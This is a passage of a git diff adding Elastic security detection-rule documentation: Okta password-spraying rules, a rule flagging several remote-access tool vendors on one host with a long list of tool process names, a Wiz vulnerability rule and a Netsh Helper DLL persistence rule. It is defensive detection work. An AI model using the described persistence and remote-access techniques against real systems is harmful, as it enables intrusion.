T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc new file mode 100644 index 0000000000..e0a5fcf950 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy]] +=== Multiple Okta User Auth Events with Same Device Token Hash Behind a Proxy + +Detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. + +*Rule type*: threshold + +*Rule indices*: + +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Okta User Auth Events with Same Device Token Hash Behind a Proxy* + + +This rule detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. This may indicate that a shared device between users, or that a user is using a proxy to access multiple accounts for password spraying. + + +*Possible investigation steps:* + +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. + - Since the device is behind a proxy, the `okta.client.ip` field will not be useful for determining the actual device IP address. +- Review the `okta.request.ip_chain` field for more information about the geographic location of the proxy. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. +- Examine the `okta.outcome.result` field to determine if the authentication was successful. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. +- Users may share an endpoint related to work or personal use in which separate Okta accounts are used. + - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons. + - Shared systems such as Kiosks and conference room computers may be used by multiple users. + - Shared working spaces may have a single endpoint that is used by multiple users. + + +*Response and remediation:* + +- Review the profile of the users involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system + and not okta.actor.id:okta* and okta.debug_context.debug_data.dt_hash:* + and okta.event_type:user.authentication* and okta.security_context.is_proxy:true + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc new file mode 100644 index 0000000000..f003a70cdd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-multiple-okta-user-authentication-events-with-same-device-token-hash]] +=== Multiple Okta User Authentication Events with Same Device Token Hash + +Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Okta User Authentication Events with Same Device Token Hash* + + +This rule detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack. + + +*Possible investigation steps:* + +- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.debug_context.debug_data.dt_hash` values can be used to pivot into the raw authentication events related to this activity. +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy. + - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying. +- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful. + - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. +- Examine the `okta.outcome.result` field to determine if the authentication was successful. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. +- Users may share an endpoint related to work or personal use in which separate Okta accounts are used. + - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons. + - Shared systems such as Kiosks and conference room computers may be used by multiple users. + - Shared working spaces may have a single endpoint that is used by multiple users. + + +*Response and remediation:* + +- Review the profile of the users involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta* +| where + data_stream.dataset == "okta.system" and + (event.action like "user.authentication.*" or event.action == "user.session.start") and + okta.debug_context.debug_data.dt_hash != "-" and + okta.outcome.reason == "INVALID_CREDENTIALS" +| keep + event.action, + okta.debug_context.debug_data.dt_hash, + okta.actor.id, + okta.actor.alternate_id, + okta.outcome.reason +| stats + Esql.okta_actor_id_count_distinct = count_distinct(okta.actor.id) + by + okta.debug_context.debug_data.dt_hash, + okta.actor.alternate_id +| where + Esql.okta_actor_id_count_distinct > 20 +| sort + Esql.okta_actor_id_count_distinct desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-remote-management-tool-vendors-on-same-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-remote-management-tool-vendors-on-same-host.asciidoc new file mode 100644 index 0000000000..b6612013dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-remote-management-tool-vendors-on-same-host.asciidoc @@ -0,0 +1,226 @@ +[[prebuilt-rule-8-19-21-multiple-remote-management-tool-vendors-on-same-host]] +=== Multiple Remote Management Tool Vendors on Same Host + +Identifies a Windows host where two or more distinct remote monitoring and management (RMM) or remote-access tool vendors are observed starting processes within the same eight-minute window. Legitimate MSP environments may run multiple tools, but this pattern can also indicate compromise, shadow IT, or attacker staging of redundant access. Processes are mapped to a single vendor label so multiple binaries from the same vendor do not inflate the count. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: CrowdStrike +* Data Source: Windows Security Event Logs +* Data Source: Elastic Endgame +* Data Source: Winlogbeat + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Remote Management Tool Vendors on Same Host* + + +This rule aggregates process start events by `host.id`, host name, and a nine-minute time bucket. Data can come from +Elastic Defend, Sysmon, Winlogbeat, Windows Security / forwarded events, Microsoft Defender XDR, SentinelOne, +CrowdStrike FDR, or Elastic Endgame—where ECS process fields are populated. Each known RMM-related process name maps +to one **vendor** label (e.g. TeamViewer, AnyDesk, ScreenConnect). If **two or more different vendor labels** appear in +the same bucket, the rule signals. + + +*Possible investigation steps* + + +- Open **Esql.vendors_seen** and **Esql.processes_name_values** on the alert to see which tools fired in the window. +- Confirm whether the host is an MSP-managed jump box, helpdesk workstation, or lab where multiple RMM stacks are expected. +- For servers or standard user endpoints, treat as higher risk: review install source, code signatures, and recent logons. +- Correlate with other alerts (ingress tool transfer, suspicious scripting, new persistence) on the same `host.id`. +- Check asset inventory and change tickets for approved RMM software. + + +*False positive analysis* + + +- **MSP / IT tooling**: A technician machine with two approved agents (e.g. RMM + remote support) may match. Tune with + host or organizational unit exceptions, or raise the vendor threshold if your environment standardizes on a known pair. +- **Vendor rebrands or bundles**: Rare overlaps during migrations can briefly show two vendors; validate timeline and packages. + + +*Response and remediation* + + +- If unauthorized or unexplained: isolate the host, inventory installed remote-access software, remove unapproved tools, + and reset credentials that may have been exposed. Enforce a single approved RMM stack per asset class where possible. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-*, endgame-*, logs-crowdstrike.fdr*, logs-m365_defender.event-*, logs-sentinel_one_cloud_funnel.*, logs-system.security*, logs-windows.sysmon_operational-*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where (host.os.type == "windows" or host.os.family == "windows") + and event.category == "process" + and event.type == "start" + and process.name is not null +| eval Esql.rmm_vendor = case( + process.name == "AeroAdmin.exe", "AeroAdmin", + process.name == "AnyDesk.exe", "AnyDesk", + process.name == "AteraAgent.exe", "Atera", + process.name == "AweSun.exe", "AweSun", + process.name like "aweray_remote*.exe", "AweSun", + process.name == "apc_Admin.exe", "APC", + process.name == "apc_host.exe", "APC", + process.name == "BASupSrvc.exe", "BeyondTrust", + process.name == "bomgar-scc.exe", "BeyondTrust", + process.name == "Remote Support.exe", "BeyondTrust", + process.name == "B4-Service.exe", "BeyondTrust", + process.name == "CagService.exe", "BarracudaRMM", + process.name == "domotzagent.exe", "Domotz", + process.name == "domotz-windows-x64-10.exe", "Domotz", + process.name == "dwagsvc.exe", "DWService", + process.name == "DWRCC.exe", "DWService", + process.name like "fleetdeck_commander*.exe", "FleetDeck", + process.name == "getscreen.exe", "GetScreen", + process.name == "g2aservice.exe", "GoTo", + process.name == "GoToAssistService.exe", "GoTo", + process.name == "gotohttp.exe", "GoTo", + process.name == "GoToResolveProcessChecker.exe", "GoTo", + process.name == "GoToResolveUnattended.exe", "GoTo", + process.name == "ImperoClientSVC.exe", "Impero", + process.name == "ImperoServerSVC.exe", "Impero", + process.name == "ISLLight.exe", "ISLOnline", + process.name == "ISLLightClient.exe", "ISLOnline", + process.name == "jumpcloud-agent.exe", "JumpCloud", + process.name == "level.exe", "Level", + process.name == "LvAgent.exe", "Level", + process.name == "LMIIgnition.exe", "LogMeIn", + process.name == "LogMeIn.exe", "LogMeIn", + process.name == "ManageEngine_Remote_Access_Plus.exe", "ManageEngine", + process.name == "MeshAgent.exe", "MeshCentral", + process.name == "meshagent.exe", "MeshCentral", + process.name == "Mikogo-Service.exe", "Mikogo", + process.name == "NinjaRMMAgent.exe", "NinjaOne", + process.name == "NinjaRMMAgenPatcher.exe", "NinjaOne", + process.name == "ninjarmm-cli.exe", "NinjaOne", + process.name == "parsec.exe", "Parsec", + process.name == "PService.exe", "Pulseway", + process.name == "r_server.exe", "Radmin", + process.name == "radmin.exe", "Radmin", + process.name == "radmin3.exe", "Radmin", + process.name == "rserver3.exe", "Radmin", + process.name == "vncserver.exe", "RealVNC", + process.name == "vncviewer.exe", "RealVNC", + process.name == "winvnc.exe", "RealVNC", + process.name == "ROMServer.exe", "RealVNC", + process.name == "ROMViewer.exe", "RealVNC", + process.name == "RemotePC.exe", "RemotePC", + process.name == "RemotePCDesktop.exe", "RemotePC", + process.name == "RemotePCService.exe", "RemotePC", + process.name == "RemoteDesktopManager.exe", "Devolutions", + process.name == "RCClient.exe", "RPCSuite", + process.name == "RCService.exe", "RPCSuite", + process.name == "RPCSuite.exe", "RPCSuite", + process.name == "rustdesk.exe", "RustDesk", + process.name == "rutserv.exe", "RemoteUtilities", + process.name == "rutview.exe", "RemoteUtilities", + process.name == "saazapsc.exe", "Kaseya", + process.name like "ScreenConnect*.exe", "ScreenConnect", + process.name == "ScreenConnect.ClientService.exe", "ScreenConnect", + process.name == "Splashtop-streamer.exe", "Splashtop", + process.name == "strwinclt.exe", "Splashtop", + process.name == "SRService.exe", "Splashtop", + process.name == "smpcview.exe", "Splashtop", + process.name == "spclink.exe", "Splashtop", + process.name == "rfusclient.exe", "Splashtop", + process.name == "Supremo.exe", "Supremo", + process.name == "SupremoService.exe", "Supremo", + process.name == "Syncro.Overmind.Service.exe", "Splashtop", + process.name == "SyncroLive.Agent.Runner.exe", "Splashtop", + process.name == "Syncro.Installer.exe", "Splashtop", + process.name == "tacticalrmm.exe", "TacticalRMM", + process.name == "tailscale.exe", "Tailscale", + process.name == "tailscaled.exe", "Tailscale", + process.name == "teamviewer.exe", "TeamViewer", + process.name == "ticlientcore.exe", "Tiflux", + process.name == "TiAgent.exe", "Tiflux", + process.name == "ToDesk_Service.exe", "ToDesk", + process.name == "twingate.exe", "Twingate", + process.name == "tvn.exe", "TightVNC", + process.name == "tvnserver.exe", "TightVNC", + process.name == "tvnviewer.exe", "TightVNC", + process.name == "winwvc.exe", "TightVNC", + process.name like "UltraVNC*.exe", "UltraVNC", + process.name like "UltraViewer*.exe", "UltraViewer", + process.name like "AA_v*.exe", "AnyAssist", + process.name == "Velociraptor.exe", "Velociraptor", + process.name == "ToolsIQ.exe", "ToolsIQ", + process.name == "session_win.exe", "ZohoAssist", + process.name == "Zaservice.exe", "ZohoAssist", + process.name == "ZohoURS.exe", "ZohoAssist", + "" + ) +| where Esql.rmm_vendor != "" and Esql.rmm_vendor is not NULL +| stats Esql.vendor_count = count_distinct(Esql.rmm_vendor), + Esql.vendors_seen = values(Esql.rmm_vendor), + Esql.processes_executable_values = values(process.executable), + Esql.first_seen = min(@timestamp), + Esql.last_seen = max(@timestamp) + by host.name, host.id +| where Esql.vendor_count >= 2 +| sort Esql.vendor_count desc +| keep host.id, host.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-vulnerabilities-by-asset-via-wiz.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-vulnerabilities-by-asset-via-wiz.asciidoc new file mode 100644 index 0000000000..a400054230 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-vulnerabilities-by-asset-via-wiz.asciidoc @@ -0,0 +1,107 @@ +[[prebuilt-rule-8-19-21-multiple-vulnerabilities-by-asset-via-wiz]] +=== Multiple Vulnerabilities by Asset via Wiz + +This alert identifies assets with an elevated number of vulnerabilities reported by Wiz, potentially indicating weak security posture, missed patching, or active exposure. The rule highlights assets with a high volume of distinct vulnerabilities, the presence of exploitable vulnerabilities, or a combination of multiple severities, helping prioritize assets that pose increased risk. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/wiz#vulnerability + +*Tags*: + +* Use Case: Vulnerability +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Wiz + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Vulnerabilities by Asset via Wiz* + + +This alert identifies assets with an elevated number of vulnerabilities reported by Wiz, potentially indicating weak security posture, missed patching, or active exposure. The rule highlights assets with a high volume of distinct vulnerabilities, the presence of exploitable vulnerabilities, or a combination of multiple severities, helping prioritize assets that pose increased risk. + + +*Possible investigation steps* + + +- Review the affected asset details using `wiz.vulnerability.vulnerable_asset.name` and `wiz.vulnerability.vulnerable_asset.id` to confirm asset ownership, criticality, and exposure (e.g., internet-facing, production). +- Examine the list of detected vulnerabilities using `Esql.vuln_id_values` to identify known high-risk or widely exploited CVEs. +- Assess vulnerability severity distribution via `Esql.vuln_severity_values`, focusing on assets with multiple severity levels or repeated high/critical findings. +- Determine whether any vulnerabilities have known exploits by validating `wiz.vulnerability.has_exploit`, prioritizing those assets for immediate remediation. +- Cross-check recent patching, configuration changes, or deployment activity on the asset to identify potential gaps or misconfigurations. + + +*False positive analysis* + + +- Assets undergoing initial onboarding, scanning expansion, or configuration changes may temporarily report a high volume of findings. +- Vulnerability aggregation may include informational or low-impact findings that inflate counts without representing immediate risk. +- Duplicate or closely related vulnerabilities affecting shared packages or libraries may appear as multiple findings for the same root cause. +- Test, lab, or non-production assets may legitimately tolerate higher vulnerability counts depending on risk acceptance. + + +*Response and remediation* + + +- Prioritize remediation for assets with exploitable vulnerabilities or multiple high/critical severity findings. +- Apply missing patches, updates, or configuration fixes according to asset criticality and exposure. +- Implement compensating controls (e.g., network segmentation, access restrictions) if immediate patching is not feasible. +- Validate remediation by re-scanning the asset in Wiz to confirm vulnerability reduction. +- Review vulnerability management processes to prevent recurrence, including patch SLAs, asset ownership, and exposure monitoring. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-wiz.vulnerability-* + +| WHERE data_stream.dataset == "wiz.vulnerability" and event.category == "vulnerability" and + wiz.vulnerability.vulnerable_asset.name is not null and + wiz.vulnerability.vulnerable_asset.id is not null +| stats Esql.count_distinct_vuln_id = COUNT_DISTINCT(wiz.vulnerability.id), + Esql.count_distinct_vuln_severity = COUNT_DISTINCT(wiz.vulnerability.cvss_severity), + Esql.count_has_exploit = COUNT(wiz.vulnerability.has_exploit), + Esql.vuln_id_values = VALUES(wiz.vulnerability.id), + Esql.vuln_severity_values = VALUES(wiz.vulnerability.cvss_severity) by wiz.vulnerability.vulnerable_asset.name, wiz.vulnerability.vulnerable_asset.id +| eval concat_vuln_severity_values = MV_CONCAT(Esql.vuln_severity_values, ",") +| where Esql.count_distinct_vuln_id >= 10 or + (Esql.count_has_exploit >= 1 and Esql.count_distinct_vuln_id >= 3) or + (concat_vuln_severity_values like "*High*" and Esql.count_distinct_vuln_id >= 3) or + (concat_vuln_severity_values like "*Critical*" and Esql.count_distinct_vuln_id >= 3) +| Keep wiz.vulnerability.vulnerable_asset.name, wiz.vulnerability.vulnerable_asset.id, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-netsh-helper-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-netsh-helper-dll.asciidoc new file mode 100644 index 0000000000..6359d1d34c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-netsh-helper-dll.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-netsh-helper-dll]] +=== Netsh Helper DLL + +Identifies the addition of a Netsh Helper DLL, netsh.exe supports the addition of these DLLs to extend its functionality. Attackers may abuse this mechanism to execute malicious payloads every time the utility is executed, which can be done by administrators or a scheduled task. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Netsh Helper DLL* + + +Netsh, a command-line utility in Windows, allows for network configuration and diagnostics. It supports extensibility through Helper DLLs, which can be added to enhance its capabilities. However, attackers can exploit this by adding malicious DLLs, ensuring their code runs whenever netsh is executed. The detection rule monitors registry changes related to netsh DLLs, flagging unauthorized modifications that may indicate persistence tactics. + + +*Possible investigation steps* + + +- Review the registry path specified in the alert to confirm the presence of any unauthorized or suspicious DLLs under "HKLM\Software\Microsoft\netsh\". +- Check the timestamp of the registry change event to determine when the modification occurred and correlate it with any other suspicious activities or events on the system. +- Investigate the origin of the DLL file by examining its properties, such as the file path, creation date, and digital signature, to assess its legitimacy. +- Analyze recent user activity and scheduled tasks to identify any potential execution of netsh.exe that could have triggered the malicious DLL. +- Cross-reference the alert with other security logs and alerts from data sources like Microsoft Defender XDR or Sysmon to gather additional context and identify any related threats or indicators of compromise. + + +*False positive analysis* + + +- Legitimate software installations or updates may add or modify Netsh Helper DLLs, triggering the detection rule. Users should verify if recent installations or updates coincide with the registry changes. +- Network management tools or scripts used by IT departments might legitimately extend netsh functionality. Identify and document these tools to create exceptions in the detection rule. +- Scheduled tasks or administrative scripts that configure network settings could cause expected changes. Review scheduled tasks and scripts to ensure they are authorized and adjust the rule to exclude these known activities. +- Security software or network monitoring solutions may interact with netsh for legitimate purposes. Confirm with the software vendor if their product modifies netsh settings and consider excluding these changes from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of the malicious DLL and potential lateral movement. +- Terminate any suspicious processes associated with netsh.exe to halt the execution of the malicious payload. +- Remove the unauthorized Netsh Helper DLL entry from the registry path identified in the alert to eliminate the persistence mechanism. +- Conduct a thorough scan of the affected system using an updated antivirus or endpoint detection and response (EDR) tool to identify and remove any additional malicious files or artifacts. +- Review and restore any altered system configurations to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for registry changes related to Netsh Helper DLLs to detect similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\Software\\Microsoft\\netsh\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\netsh\\*", + "MACHINE\\Software\\Microsoft\\netsh\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Netsh Helper DLL +** ID: T1546.007 +** Reference URL: https://attack.mitre.org/techniques/T1546/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-netsupport-manager-execution-from-an-unusual-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-netsupport-manager-execution-from-an-unusual-path.asciidoc new file mode 100644 index 0000000000..56b79d1a00 --- /dev/null +++ 